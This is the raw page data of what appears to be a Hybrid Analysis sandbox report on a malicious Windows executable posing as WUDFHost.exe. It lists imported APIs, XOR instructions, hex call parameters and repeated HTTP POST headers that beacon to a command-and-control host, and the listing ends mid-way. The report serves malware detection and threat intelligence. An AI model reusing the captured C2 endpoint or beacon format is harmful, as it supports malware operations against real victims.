26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T469,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample 74de565481e0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 74de565481e0…. Malware family: Malware. Threat score 100/100. 9/29 AV engines flagged this file. 8 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/74de565481e06f4dc68654c450bac83eb32a4c19dc28e9e3a47fb117c7887e60","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","74de565481e06f4dc68654c450bac83eb32a4c19dc28e9e3a47fb117c7887e60"],"about":{"@type":"SoftwareApplication","name":"WUDFHost.exe","applicationCategory":["peexe","executable"],"identifier":"74de565481e06f4dc68654c450bac83eb32a4c19dc28e9e3a47fb117c7887e60","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":9,"total":29},"behavioralIndicators":{"malicious":8,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T520,Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "WUDFHost.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "WUDFHost.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API "ZwAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API "NtWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp")28:T1237,Assembly shows XOR instruction xor eax ebp in Stream UID: 25696-644-00409C9F Assembly shows XOR instruction xor ecx ebp in Stream UID: 25696-644-00409C9F Assembly shows XOR instruction xor eax ebp in Stream UID: 25696-646-004080C5 Assembly shows XOR instruction xor ecx ebp in Stream UID: 25696-646-004080C5 Assembly shows XOR instruction xor eax ebp in Stream UID: 25696-633-0040AFAE Assembly shows XOR instruction xor eax ebp in Stream UID: 25696-642-00407E12 Assembly shows XOR instruction xor ecx ebp in Stream UID: 25696-642-00407E12 Assembly shows XOR instruction xor eax ebp in Stream UID: 25696-657-0040B496 Assembly shows XOR instruction xor ecx ebp in Stream UID: 25696-657-0040B496 Assembly shows XOR instruction xor eax ebp in Stream UID: 25696-656-0040A6BE Assembly shows XOR instruction xor ecx ebp in Stream UID: 25696-656-0040A6BE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002664-48137-232-0040AFAE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002664-48137-16-00403EF1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002664-48137-16-00403EF1 Assembly shows XOR instruction xor byte ptr [ebx] dh in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor al 0Dh in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor ecx dword ptr [41202D0Ah] in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor cl byte ptr [6E202D0Ah] in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor dword ptr [41202D0Ah] ecx in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor byte ptr [43202D0Ah] cl in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor byte ptr [edx] dh in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor eax 202D0A0Dh in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor byte ptr [ecx] dh in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor byte ptr [eax] dh in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor cl byte ptr [66202D0Ah] in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor dh byte ptr [ebx] in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor al 35h in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor al 00h in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor esi dword ptr [edx] in Stream UID: 00000000-00002664-48137-276-00407530 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00002664-48137-63-00403180 Assembly shows XOR instruction xor edi dword ptr [ebp-04h] in Stream UID: 00000000-00002664-48137-63-00403180 Assembly shows XOR instruction xor eax edx in Stream UID: 00000000-00002664-48137-63-00403180 Assembly shows XOR instruction xor eax edi in Stream UID: 00000000-00002664-48137-63-00403180 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002664-48137-129-0040A089 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002664-48137-129-0040A089 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002664-48137-130-0040B117 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002664-48137-130-0040B117 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002664-48137-133-0040B0CE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002664-48137-133-0040B0CE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002664-48137-240-00409C9F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002664-48137-240-00409C9F Assembly shows XOR instruction xor esi dword ptr [ebp-08h] in Stream UID: 00000000-00002664-48137-223-00407582 Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00002664-48137-223-00407582 Assembly shows XOR instruction xor eax dword ptr [ebp-10h] in Stream UID: 00000000-00002664-48137-223-00407582 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002664-48137-266-0040B496 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002664-48137-266-0040B496 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002664-48137-265-0040A6BE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002664-48137-265-0040A6BE29:T94e,Contains base64 string in header "POST" in header "POST /_errorpages/china/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: china.fengpower.buzzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: ADD58140Content-Length: 192Connection: close" Contains base64 string in header "Host" in header "POST /_errorpages/china/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: china.fengpower.buzzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: ADD58140Content-Length: 192Connection: close" Contains base64 string in header "Type" in header "POST /_errorpages/china/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: china.fengpower.buzzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: ADD58140Content-Length: 192Connection: close" Contains base64 string in header "Encoding" in header "POST /_errorpages/china/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: china.fengpower.buzzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: ADD58140Content-Length: 192Connection: close" Contains base64 string in header "POST" in header "POST /_errorpages/china/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: china.fengpower.buzzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: ADD58140Content-Length: 165Connection: close" Contains base64 string in header "Host" in header "POST /_errorpages/china/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: china.fengpower.buzzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: ADD58140Content-Length: 165Connection: close" Contains base64 string in header "Type" in header "POST /_errorpages/china/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: china.fengpower.buzzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: ADD58140Content-Length: 165Connection: close" Contains base64 string in header "Encoding" in header "POST /_errorpages/china/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: china.fengpower.buzzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: ADD58140Content-Length: 165Connection: close"2a:T13ee,".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000f4766fe1e176a82962029c0162020000620226000b000100000000009b76086fa676f5f6f4760be1e176d013df6c50b064022c14df6c7be1e17600d91200a82962020000d4760000df6c10000000e0000000e000d476000000006cd81200d06b620238d9120095e1f076a8296202fc010000000000003be1e1760000d476000000005815df6ce000d4765cd81200e800000038d9120095e1f0763b310700fefffffff5f6f476634df576a82962026615df6c2c14df00b2f4f476ffe0e17684d912000000df6c0000df6c804df5769be0e176e8000000e800df6c0000000050da1200 (UID: 00000000-00002664) ".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000067cd9ee1 (UID: 00000000-00002664) ".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001200201151027cb3120080f48676000051020000000089f486766eb386e102000000f0b31200ecb31200e4b21200e8b2120098b4120095e1f076c325070040b31200c83a9076b4b31200d58c8876f0b3120084b3120042a48676a8029076c4b31200d2f48676080000006ef5867644f58676d6b386e10200000070aaa7680000130026bba76898b31200020000000000130070aaa768c8b3120042a48676a80290760cb4120010a9a76808000000e6a8a76803c8abfe0200000070aaa7680000130026bba7685411510220115102d8b312008050b36898b41200f9f2ab68e7d41e96 (UID: 00000000-00002664) ".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000ff2bf476138be1761100000078dd65020000620238de65020000000013009d00d2010000000000000700000011000000b8e0500300005102e0ef500350b31200145cf476435cf47600000000d401000074b312001100000000005102b8e0500374b31200145cf476435cf476a78ae176020000000c0251020000510250015102d30100000f00b1006826510200006202b82651020e00b600d4010000000000006826510265010000c0e0500320000000e50100000000000080000000b86a6202d86b6202e0cd6502806f6202000000000a00000a986f510284b4120095e1f076 (UID: 00000000-00002664) ".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff7f0000000000000a0000000000000000000000e0eb1200e0eb1200b036c0034c37c0030100000028606502d07016690000b0031c0000000000b00320000000e090c10318ec1200e92ae471 (UID: 00000000-00002664) ".exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000001200e4f71200c4ff12003054eb6ceb27618dfeffffffb0f712002b61ea6c60f7120040594100405941004461ea6ce4f7120000000000000000000000000000000000000000000000000001000000000000000000e67100000000d0f71200000000000000000000000000e4f712000000000000000000000000000000000037d19ee1d8f71200186d0075d8f712002a6d00750000e671000000000000e671bc8ab1ce0f0010004059410020f812002ac4e96c0000e6711827e6710000000037c4e96c0000000000000000000000000000000000000000000000000000e67100000000 (UID: 00000000-00002664) ".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002664) ".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000ec016202000062020000000000000000500162021a0000001a0000001768f4769086650200000000005cf47677d3e17605010000540262020000620288866502000000000d00010c00006202f0866502000000002700012600000000b819660290866502e8dd65020d00000000006202000000048886650210eb12000464f47638016202e063f476c3d2e1760000000000006202f8866502f8866502f3866502e8dd6502500162020000620200006202e8dd65025001620230eb12000000620250016202feffffff4c00004c5001620202000002680000004c00004c1a000000 (UID: 00000000-00002664)2b:T836e,Found reference to API (Indicator: "EncodePointer"; File: "WUDFHost.bin") Found reference to API (Indicator: "DecodePointer"; File: "WUDFHost.bin") Found reference to API (Indicator: "FlsFree"; File: "WUDFHost.bin") Found reference to API (Indicator: "FlsSetValue"; File: "WUDFHost.bin") Found reference to API (Indicator: "FlsGetValue"; File: "WUDFHost.bin") Found reference to API (Indicator: "FlsAlloc"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetProcessWindowStation"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetLastActivePopup"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetActiveWindow"; File: "WUDFHost.bin") Found reference to API (Indicator: "MessageBoxA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetTempFileNameW"; File: "WUDFHost.bin") Found reference to API (Indicator: "CreateFileA"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetThreadContext"; File: "WUDFHost.bin") Found reference to API (Indicator: "FindFirstChangeNotificationW"; File: "WUDFHost.bin") Found reference to API (Indicator: "PeekNamedPipe"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetEndOfFile"; File: "WUDFHost.bin") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetTickCount"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetConsoleAliasesLengthA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetDateFormatA"; File: "WUDFHost.bin") Found reference to API (Indicator: "ReadConsoleInputA"; File: "WUDFHost.bin") Found reference to API (Indicator: "SizeofResource"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetFileAttributesW"; File: "WUDFHost.bin") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "WUDFHost.bin") Found reference to API (Indicator: "GlobalUnlock"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetShortPathNameA"; File: "WUDFHost.bin") Found reference to API (Indicator: "FindFirstFileA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetLogicalDriveStringsA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetLastError"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetLastError"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetProcAddress"; File: "WUDFHost.bin") Found reference to API (Indicator: "VirtualAlloc"; File: "WUDFHost.bin") Found reference to API (Indicator: "BackupWrite"; File: "WUDFHost.bin") Found reference to API (Indicator: "LoadLibraryA"; File: "WUDFHost.bin") Found reference to API (Indicator: "CreateHardLinkW"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetFileApisToANSI"; File: "WUDFHost.bin") Found reference to API (Indicator: "BeginUpdateResourceA"; File: "WUDFHost.bin") Found reference to API (Indicator: "OpenJobObjectW"; File: "WUDFHost.bin") Found reference to API (Indicator: "FoldStringA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetModuleHandleA"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetCalendarInfoA"; File: "WUDFHost.bin") Found reference to API (Indicator: "FindFirstVolumeW"; File: "WUDFHost.bin") Found reference to API (Indicator: "ReadConsoleOutputCharacterW"; File: "WUDFHost.bin") Found reference to API (Indicator: "CharToOemBuffW"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetKeyNameTextW"; File: "WUDFHost.bin") Found reference to API (Indicator: "LoadMenuA"; File: "WUDFHost.bin") Found reference to API (Indicator: "CreateDCA"; File: "WUDFHost.bin") Found reference to API (Indicator: "HeapFree"; File: "WUDFHost.bin") Found reference to API (Indicator: "TerminateProcess"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetCurrentProcess"; File: "WUDFHost.bin") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "WUDFHost.bin") Found reference to API (Indicator: "IsDebuggerPresent"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetStartupInfoW"; File: "WUDFHost.bin") Found reference to API (Indicator: "HeapAlloc"; File: "WUDFHost.bin") Found reference to API (Indicator: "HeapCreate"; File: "WUDFHost.bin") Found reference to API (Indicator: "VirtualFree"; File: "WUDFHost.bin") Found reference to API (Indicator: "DeleteCriticalSection"; File: "WUDFHost.bin") Found reference to API (Indicator: "LeaveCriticalSection"; File: "WUDFHost.bin") Found reference to API (Indicator: "EnterCriticalSection"; File: "WUDFHost.bin") Found reference to API (Indicator: "HeapReAlloc"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetModuleHandleW"; File: "WUDFHost.bin") Found reference to API (Indicator: "TlsGetValue"; File: "WUDFHost.bin") Found reference to API (Indicator: "TlsAlloc"; File: "WUDFHost.bin") Found reference to API (Indicator: "TlsSetValue"; File: "WUDFHost.bin") Found reference to API (Indicator: "TlsFree"; File: "WUDFHost.bin") Found reference to API (Indicator: "InterlockedIncrement"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "WUDFHost.bin") Found reference to API (Indicator: "InterlockedDecrement"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetHandleCount"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetStdHandle"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetFileType"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetStartupInfoA"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetFilePointer"; File: "WUDFHost.bin") Found reference to API (Indicator: "RaiseException"; File: "WUDFHost.bin") Found reference to API (Indicator: "Sleep"; File: "WUDFHost.bin") Found reference to API (Indicator: "ExitProcess"; File: "WUDFHost.bin") Found reference to API (Indicator: "WriteFile"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetModuleFileNameA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetModuleFileNameW"; File: "WUDFHost.bin") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetCommandLineW"; File: "WUDFHost.bin") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetCurrentProcessId"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "WUDFHost.bin") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "WUDFHost.bin") Found reference to API (Indicator: "RtlUnwind"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetCPInfo"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetACP"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetOEMCP"; File: "WUDFHost.bin") Found reference to API (Indicator: "IsValidCodePage"; File: "WUDFHost.bin") Found reference to API (Indicator: "SetStdHandle"; File: "WUDFHost.bin") Found reference to API (Indicator: "HeapSize"; File: "WUDFHost.bin") Found reference to API (Indicator: "LCMapStringA"; File: "WUDFHost.bin") Found reference to API (Indicator: "WideCharToMultiByte"; File: "WUDFHost.bin") Found reference to API (Indicator: "MultiByteToWideChar"; File: "WUDFHost.bin") Found reference to API (Indicator: "LCMapStringW"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetStringTypeA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetStringTypeW"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetLocaleInfoA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetConsoleCP"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetConsoleMode"; File: "WUDFHost.bin") Found reference to API (Indicator: "FlushFileBuffers"; File: "WUDFHost.bin") Found reference to API (Indicator: "CloseHandle"; File: "WUDFHost.bin") Found reference to API (Indicator: "WriteConsoleA"; File: "WUDFHost.bin") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "WUDFHost.bin") Found reference to API (Indicator: "WriteConsoleW"; File: "WUDFHost.bin") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetUserObjectInformationA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FindFirstChangeNotificationW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetConsoleAliasesLengthA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetDateFormatA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "ReadConsoleInputA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetLogicalDriveStringsA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "BackupWrite"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "CreateHardLinkW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetFileApisToANSI"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "BeginUpdateResourceA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "OpenJobObjectW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FoldStringA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetCalendarInfoA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "FindFirstVolumeW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "ReadConsoleOutputCharacterW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "CharToOemBuffW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetKeyNameTextW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "LoadMenuA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "CreateDCA"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 00000000-00002664.00000002.70094.00400000.00000040.mdmp, 00000000-00002664.00000003.77520.00170000.00000040.mdmp, 00000000-00002664.00000003.77520.00400000.00000040.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002664.00000000.66253.00401000.00000020.mdmp, 00000000-00002664.00000001.68174.00170000.00000040.mdmp, 00000000-00002664.00000001.68174.00400000.00000040.mdmp, 00000000-00002664.00000002.70094.00170000.00000040.mdmp, 